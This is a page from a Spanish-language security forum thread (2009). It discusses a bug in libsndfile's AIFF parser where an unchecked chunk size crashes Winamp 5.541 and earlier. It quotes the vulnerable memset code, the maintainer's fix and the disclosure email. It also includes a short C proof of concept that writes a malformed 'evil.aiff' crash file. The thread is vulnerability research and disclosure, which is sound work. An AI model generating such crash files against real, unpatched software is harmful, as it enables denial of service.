elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:22  


Tema destacado: [Overclocking] Récords de overclock del foro

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Winamp <= 5.541, libsndfile <= 1.0.17 AIFF buffer unverified
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Winamp <= 5.541, libsndfile <= 1.0.17 AIFF buffer unverified  (Leído 4,814 veces)
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Winamp <= 5.541 multiples Denial of Services (MP3/AIFF)
« Respuesta #15 en: 23 Enero 2009, 23:31 »

Si yo también estuve revisando la librería libsndfile, y precisamente encontré el size + 1 que te mencione:

Código
comm_fmt->size += comm_fmt->size & 1 ;

Y después la parte donde ahora nos esta fallando en la llamada a memset:

Código
memset (psf->u.scbuf, 0, comm_fmt->size) ;

Y por como lo mencionas esta ahi la condicon de entrada:

Código
if (comm_fmt->size >= SIZEOF_AIFC_COMM)

Lo toma como si fuese mayor o igual que AIFC.

Ahorita no lo he probado con valores mas pequeños en el size, ya que estoy tratando de dar exactamente con el diagrama a grandes rasgos de la estructura AIFF (Todavia no termino de entender algunas cosillas) y cuales son las partes que no esta validando el código.

Saludos.


« Última modificación: 23 Febrero 2009, 20:36 por Anon » En línea

Bien Super Divertido
@wifigdlmx
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Winamp <= 5.541 multiples Denial of Services (MP3/AIFF)
« Respuesta #16 en: 23 Febrero 2009, 20:27 »

Pues ya fue corregido.

Código:
http://www.mega-nerd.com/libsndfile/

Citar
Version 1.0.18 (Feb 07 2009) Add Ogg/Vorbis suppport, remove captive libraries, many new features and bug fixes. Generate Win32 and Win64 pre-compiled binaries.

Ahora tenemos la siguiente validacion:

Código
	if (comm_fmt->size > 0x10000 && (comm_fmt->size & 0xffff) == 0)
{ psf_log_printf (psf, " COMM : %d (0x%x) *** should be ", comm_fmt->size, comm_fmt->size) ;
comm_fmt->size = ENDSWAP_INT (comm_fmt->size) ;
psf_log_printf (psf, "%d (0x%x)\n", comm_fmt->size, comm_fmt->size) ;
}
else
psf_log_printf (psf, " COMM : %d\n", comm_fmt->size) ;
 

Esto es del 7 de Febrero poco despues de haberle avisado, al parecer el fallo ya lo tenia considerado por alguna otra fuente, sin embargo la actualizacion era ya necesaria ya que desde 2006 que no liberaba ninguna otra version:

Código:
fecha 25 de enero de 2009 4:06
asunto Re: libsndfile AIFF buffer unverified

Anon wrote:

> Testing and debugging winamp, About (bugtraq ID: 33226), I have verified that
> the bug is specific to the library libsndfile. I saw that some of the functions
> of reading gives AIFF file headers, this does not check the limits of
> (CommonChunk.ckSize). There may be other functions with the same problem.
> One of the errors occur when unverified memset is called the limit of memory.
>
> Quote segment code at src/aiff.c: 847
>
> ============================================================
>       else if (comm_fmt->size >= SIZEOF_AIFC_COMM)
>         {
>       //Some lines omitted
>
>       memset (psf-> u.scbuf, 0, comm_fmt-> size);
> ============================================================

I agree that is an issue and it was fixed some time hago in the development
version.

> Denial of Service to any programsthat run the library.

Yes, it could result in a program crash

Erik


Aqui esta la version en C del PoC en Perl.

Código
#include<stdio.h>
#include<stdlib.h>
#define AIFFSIZE 81
 
char *aiffbuff ="\x46\x4f\x52\x4d\x00\x04\xcd\xec\x41\x49\x46\x46\x43\x4f\x4d\x4d\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x5e\x01\x18\x0f\x3c\x0e\xe4"
"\x00";
int main(void)  {
FILE *aiff = fopen("evil.aiff","w+");
fwrite(aiffbuff,AIFFSIZE,1,aiff);
fclose(aiff);
}
 

Saludos.
En línea

Bien Super Divertido
@wifigdlmx
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Winamp <= 5.541, libsndfile <= 1.0.17 AIFF buffer unverified
« Respuesta #17 en: 27 Febrero 2009, 17:15 »

y onda q era necesario el parche... yo cuando vi la fecha del ultimo parche pense que nunca lo iban a corregir al problema.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Winamp <= 5.541, libsndfile <= 1.0.17 AIFF buffer unverified
« Respuesta #18 en: 27 Febrero 2009, 19:24 »

de hecho yo pense lo mismo.

Solo mira

Citar
# Version 1.0.17 (Aug 31 2006) Add C++ wrapper sndfile.hh. Minor bug fixes and cleanups.
# Version 1.0.18 (Feb 07 2009) Add Ogg/Vorbis suppport, remove captive libraries, many new features and bug fixes. Generate Win32 and Win64 pre-compiled binaries.

Casi 3 años.

Saludos.
En línea

Bien Super Divertido
@wifigdlmx
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines